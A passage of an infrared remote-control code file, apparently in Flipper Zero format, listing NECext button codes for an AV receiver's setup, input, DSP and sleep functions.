SETUP:_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2D 00 00 00 -# -name: SETUP:_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2D 00 00 00 -# -name: SETUP_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2E 00 00 00 -# -name: SETUP:_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2E 00 00 00 -# -name: SETUP:_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2E 00 00 00 -# -name: SETUP_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2F 00 00 00 -# -name: SETUP:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2F 00 00 00 -# -name: SETUP:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2F 00 00 00 -# -name: SLEEP_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 30 00 00 00 -# -name: SETUP_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 30 00 00 00 -# -name: MZ:_SLEEP_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 30 00 00 00 -# -name: SETUP:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 30 00 00 00 -# -name: SETUP:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 30 00 00 00 -# -name: SLEEP_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 31 00 00 00 -# -name: SETUP_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 31 00 00 00 -# -name: Z2:_SLEEP_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 31 00 00 00 -# -name: SETUP:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 31 00 00 00 -# -name: SETUP:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 31 00 00 00 -# -name: SLEEP_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 32 00 00 00 -# -name: SETUP_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 32 00 00 00 -# -name: Z3:_SLEEP_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 32 00 00 00 -# -name: Z3:_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 32 00 00 00 -# -name: SETUP:_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 32 00 00 00 -# -name: Z3:_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 32 00 00 00 -# -name: SETUP:_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 32 00 00 00 -# -name: SETUP_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 33 00 00 00 -# -name: Z4_SLEEP_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 33 00 00 00 -# -name: Z4:_SLEEP_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 33 00 00 00 -# -name: SETUP:_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 33 00 00 00 -# -name: SETUP:_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 33 00 00 00 -# -name: Z4:_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 33 00 00 00 -# -name: Z4:_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 33 00 00 00 -# -name: SETUP_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 34 00 00 00 -# -name: MZ:_PARTY_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 34 00 00 00 -# -name: PARTY:_ZONE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 34 00 00 00 -# -name: SETUP:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 34 00 00 00 -# -name: SETUP:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 34 00 00 00 -# -name: HDMI_OUT_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 35 00 00 00 -# -name: MZ:_HDMI_OUT_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 35 00 00 00 -# -name: SETUP:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 35 00 00 00 -# -name: SETUP:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 35 00 00 00 -# -name: DISP_DISPLAY_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 36 00 00 00 -# -name: Z2:_DISPLAY_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 36 00 00 00 -# -name: DISPLAY_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 36 00 00 00 -# -name: DISPLAY_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 36 00 00 00 -# -name: SETUP:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 36 00 00 00 -# -name: SETUP:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 36 00 00 00 -# -name: SETUP:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 36 00 00 00 -# -name: DISP_DISPLAY_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 37 00 00 00 -# -name: Z3:_DISPLAY_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 37 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 37 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 37 00 00 00 -# -name: SETUP:_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 37 00 00 00 -# -name: SETUP:_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 37 00 00 00 -# -name: Z4:_DISPLAY_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 38 00 00 00 -# -name: DISPLAY_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 38 00 00 00 -# -name: SETUP:_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 38 00 00 00 -# -name: DISPLAY_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 38 00 00 00 -# -name: SETUP:_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 38 00 00 00 -# -name: INP_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 39 00 00 00 -# -name: SIRIUS_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 39 00 00 00 -# -name: SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 39 00 00 00 -# -name: INPUT_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 39 00 00 00 -# -name: MZ_INP:_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 39 00 00 00 -# -name: MZ_INP:_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 39 00 00 00 -# -name: SETUP:_ENTER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 39 00 00 00 -# -name: INP_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3A 00 00 00 -# -name: DISP_STATUS_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3A 00 00 00 -# -name: ZONE_2_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3A 00 00 00 -# -name: Z2_INPUT_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3A 00 00 00 -# -name: Z2:_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3A 00 00 00 -# -name: Z2_INP:_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3A 00 00 00 -# -name: STATUS_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3A 00 00 00 -# -name: Z2_INP:_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3A 00 00 00 -# -name: STATUS_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3A 00 00 00 -# -name: SETUP_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3B 00 00 00 -# -name: INP_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3B 00 00 00 -# -name: SETUP:_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3B 00 00 00 -# -name: SETUP:_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3B 00 00 00 -# -name: Z3_INP:_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3B 00 00 00 -# -name: Z3_INP:_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3B 00 00 00 -# -name: SETUP_RTRN/SUBMEN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3C 00 00 00 -# -name: SETUP:_RETURN_(SUB) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3C 00 00 00 -# -name: SETUP:_RETURN_(SUB) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3C 00 00 00 -# -name: Z4_INP:_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3C 00 00 00 -# -name: Z4_INP:_SIRIUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3C 00 00 00 -# -name: DISP_STATUS_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3D 00 00 00 -# -name: XM_INFO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3D 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3D 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3D 00 00 00 -# -name: MZ:_SYSM_REC_10 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3E 00 00 00 -# -name: SETUP_RTRN/SUBMEN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3F 00 00 00 -# -name: SETUP:_RETURN_(SUB) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3F 00 00 00 -# -name: SETUP:_RETURN_(SUB) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 3F 00 00 00 -# -name: DIR_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: TAPE_DIR_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: STATUS_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: STATUS_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: SETUP:_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 41 00 00 00 -# -name: SETUP:_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 41 00 00 00 -# -name: SETUP:_RETURN_(SUB) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 42 00 00 00 -# -name: SETUP:_RETURN_(SUB) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 42 00 00 00 -# -name: DISP_STATUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 43 00 00 00 -# -name: DISP_STATUS_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 43 00 00 00 -# -name: STATUS_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 43 00 00 00 -# -name: STATUS_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 43 00 00 00 -# -name: SETUP_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 44 00 00 00 -# -name: SETUP:_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 44 00 00 00 -# -name: SETUP:_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 44 00 00 00 -# -name: Z2:_POWER/STANDBY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 45 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 45 00 00 00 -# -name: INPUT_HDMI_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 47 00 00 00 -# -name: HDMI_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 47 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 47 00 00 00 -# -name: INPUT_HDMI-1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 47 00 00 00 -# -name: INPUT_HDMI_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4A 00 00 00 -# -name: HDMI_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4A 00 00 00 -# -name: INPUT_HDMI-2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4A 00 00 00 -# -name: INPUT_HDMI_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4D 00 00 00 -# -name: HDMI_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4D 00 00 00 -# -name: INPUT_HDMI-3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4D 00 00 00 -# -name: Z4_INP:_DOCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4D 00 00 00 -# -name: CD_DISK_SKIP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 -# -name: INPUT_HDMI_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 50 00 00 00 -# -name: HDMI_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 50 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 50 00 00 00 -# -name: INPUT_HDMI-4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 50 00 00 00 -# -name: MENU> -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: DSP_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: C-RT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: LEVEL/SET_MENU:_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: MENU:_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: TIME/LEVEL_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: LEVEL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: YRIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: SET_MENU:_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: SET_MENU_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: DELAY_TIME_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: SELECT_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: MENU< -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: DSP_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: C-LF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: INPUT_AV_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: LEVEL/SET_MENU:_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: MENU:_CURSOR_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: TIME/LEVEL_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: AV_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: LEVEL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: YLEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: SET_MENU:_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: SET_MENU_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: INPUT_AV-1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: DELAY_TIME_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: SELECT_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: SELECT_TV_/_DBS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: TV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: DTV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: D-TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: INPUT_DTV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: INPUT:_D-TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: INPUT:_D-TV/LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: D-TV/LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: INPUT:_D-TV_/_LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: INPUT_DTV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: MZ:_DTV/LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: INPUT_D-TV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: DBS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: TV/DBS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: MZ_IN:_D-TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: DTV/CBL_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: INP_TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: MZ:_DTV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: Z2:_DTV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: DTV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: INPUT:_DTV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: MAIN:_D-TV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: ZONE2:_D-TV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: INP_DTV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: MZ:_INP_DTV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: MZ_INP:_TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: MZ_INP:_TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: SELECT_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: INPUT_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: INPUT:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: V_AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: INPUT_VAUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: MZ:_VIDEO_AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: MZ:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: INPUT_V-AUX/DCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: INPUT:_VIDEO_AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: MZ_IN:_V-AUX/DOCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: MZ:_V-AUX/DOCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: V.AUX/DOCK_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: INP_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: V._AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: V.AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: V._AUX/DOCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: MAIN:_VIDEO_AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: INP_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: MZ:_INP_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: MZ_INP:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: MZ_INP:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: EFECT_ON/OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: STEREO_(EFFECT) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: STRAIGHT/EFFECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: DSP_STRAIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: INPUT_AV_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: EFFECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: EFFECT_ON/OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: DSP_TOG:_EFFECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: DSP_TOG:_STRAIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: DSP_STR/EFF_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: EFFECTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: DSP:_EFFECT_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: DSP_TOG:_STRAIGHT/ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: STRAIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: DSP_TOG_STRAIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: AV_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: DSP_EFFECT_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: DSP:_STRAIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: STRIAGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: DSP_STRAIGHT_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: PROGRAM_STRAIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: INPUT_AV-2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: DSP_EFFECT_ON/OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: DSP:_T_STRAIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: DSPTOG:_STRAIT/EFECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: SLEEP_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: MZ:_SLEEP_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: SLEEP:_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: SLEEP_TIMER_SET -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: MAIN:_SLEEP_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: ?AZ:_SLEEP_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: DSP_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 58 00 00 00 -# -name: DSP_PROGRAM+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 58 00 00 00 -# -name: DSP_PROGRAM_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 58 00 00 00 -# -name: PROGRAM_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 58 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 58 00 00 00 -# -name: PRGRM_PRESET_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 58 00 00 00 -# -name: DSP_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 59 00 00 00 -# -name: DSP_PROGRAM- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 59 00 00 00 -# -name: INPUT_AV_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 59 00 00 00 -# -name: DSP_PROGRAM_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 59 00 00 00 -# -name: AV_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 59 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 59 00 00 00 -# -name: PROGRAM_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 59 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 59 00 00 00 -# -name: PRGRM_PRESET_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 59 00 00 00 -# -name: INPUT_AV-3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 59 00 00 00 -# -name: EQ_ON/FLAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5A 00 00 00 -# -name: EQ_PRESET_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5B 00 00 00 -# -name: 